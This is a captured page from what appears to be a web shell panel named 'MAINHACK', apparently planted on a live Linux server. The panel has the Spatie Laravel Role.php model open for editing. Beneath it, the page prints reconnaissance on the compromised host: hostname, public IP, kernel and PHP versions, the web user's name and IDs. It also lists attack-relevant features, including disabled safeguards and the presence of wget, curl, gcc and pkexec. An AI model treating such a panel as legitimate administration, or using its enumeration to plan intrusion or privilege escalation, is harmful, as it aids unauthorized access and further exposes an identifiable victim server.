[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Role.php
<?php namespace Spatie\Permission\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsToMany; use Spatie\Permission\Contracts\Role as RoleContract; use Spatie\Permission\Exceptions\GuardDoesNotMatch; use Spatie\Permission\Exceptions\RoleAlreadyExists; use Spatie\Permission\Exceptions\RoleDoesNotExist; use Spatie\Permission\Guard; use Spatie\Permission\PermissionRegistrar; use Spatie\Permission\Traits\HasPermissions; use Spatie\Permission\Traits\RefreshesPermissionCache; /** * @property int $id * @property string $name * @property string $guard_name * @property ?\Illuminate\Support\Carbon $created_at * @property ?\Illuminate\Support\Carbon $updated_at */ class Role extends Model implements RoleContract { use HasPermissions; use RefreshesPermissionCache; protected $guarded = []; public function __construct(array $attributes = []) { $attributes['guard_name'] = $attributes['guard_name'] ?? config('auth.defaults.guard'); parent::__construct($attributes); $this->guarded[] = $this->primaryKey; } public function getTable() { return config('permission.table_names.roles', parent::getTable()); } public static function create(array $attributes = []) { $attributes['guard_name'] = $attributes['guard_name'] ?? Guard::getDefaultName(static::class); $params = ['name' => $attributes['name'], 'guard_name' => $attributes['guard_name']]; if (PermissionRegistrar::$teams) { if (array_key_exists(PermissionRegistrar::$teamsKey, $attributes)) { $params[PermissionRegistrar::$teamsKey] = $attributes[PermissionRegistrar::$teamsKey]; } else { $attributes[PermissionRegistrar::$teamsKey] = getPermissionsTeamId(); } } if (static::findByParam($params)) { throw RoleAlreadyExists::create($attributes['name'], $attributes['guard_name']); } return static::query()->create($attributes); } /** * A role may be given various permissions. */ public function permissions(): BelongsToMany { return $this->belongsToMany( config('permission.models.permission'), config('permission.table_names.role_has_permissions'), PermissionRegistrar::$pivotRole, PermissionRegistrar::$pivotPermission ); } /** * A role belongs to some users of the model associated with its guard. */ public function users(): BelongsToMany { return $this->morphedByMany( getModelForGuard($this->attributes['guard_name'] ?? config('auth.defaults.guard')), 'model', config('permission.table_names.model_has_roles'), PermissionRegistrar::$pivotRole, config('permission.column_names.model_morph_key') ); } /** * Find a role by its name and guard name. * * @param string|null $guardName * @return \Spatie\Permission\Contracts\Role|\Spatie\Permission\Models\Role * * @throws \Spatie\Permission\Exceptions\RoleDoesNotExist */ public static function findByName(string $name, $guardName = null): RoleContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $role = static::findByParam(['name' => $name, 'guard_name' => $guardName]); if (! $role) { throw RoleDoesNotExist::named($name); } return $role; } /** * Find a role by its id (and optionally guardName). * * @param string|null $guardName * @return \Spatie\Permission\Contracts\Role|\Spatie\Permission\Models\Role */ public static function findById(int $id, $guardName = null): RoleContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $role = static::findByParam([(new static())->getKeyName() => $id, 'guard_name' => $guardName]); if (! $role) { throw RoleDoesNotExist::withId($id); } return $role; } /** * Find or create role by its name (and optionally guardName). * * @param string|null $guardName * @return \Spatie\Permission\Contracts\Role|\Spatie\Permission\Models\Role */ public static function findOrCreate(string $name, $guardName = null): RoleContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $role = static::findByParam(['name' => $name, 'guard_name' => $guardName]); if (! $role) { return static::query()->create(['name' => $name, 'guard_name' => $guardName] + (PermissionRegistrar::$teams ? [PermissionRegistrar::$teamsKey => getPermissionsTeamId()] : [])); } return $role; } protected static function findByParam(array $params = []) { $query = static::query(); if (PermissionRegistrar::$teams) { $query->where(function ($q) use ($params) { $q->whereNull(PermissionRegistrar::$teamsKey) ->orWhere(PermissionRegistrar::$teamsKey, $params[PermissionRegistrar::$teamsKey] ?? getPermissionsTeamId()); }); unset($params[PermissionRegistrar::$teamsKey]); } foreach ($params as $key => $value) { $query->where($key, $value); } return $query->first(); } /** * Determine if the user may perform the given permission. * * @param string|Permission $permission * * @throws \Spatie\Permission\Exceptions\GuardDoesNotMatch */ public function hasPermissionTo($permission): bool { if (config('permission.enable_wildcard_permission', false)) { return $this->hasWildcardPermission($permission, $this->getDefaultGuardName()); } $permissionClass = $this->getPermissionClass(); if (is_string($permission)) { $permission = $permissionClass->findByName($permission, $this->getDefaultGuardName()); } if (is_int($permission)) { $permission = $permissionClass->findById($permission, $this->getDefaultGuardName()); } if (! $this->getGuardNames()->contains($permission->guard_name)) { throw GuardDoesNotMatch::create($permission->guard_name, $this->getGuardNames()); } return $this->permissions->contains($permission->getKeyName(), $permission->getKey()); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002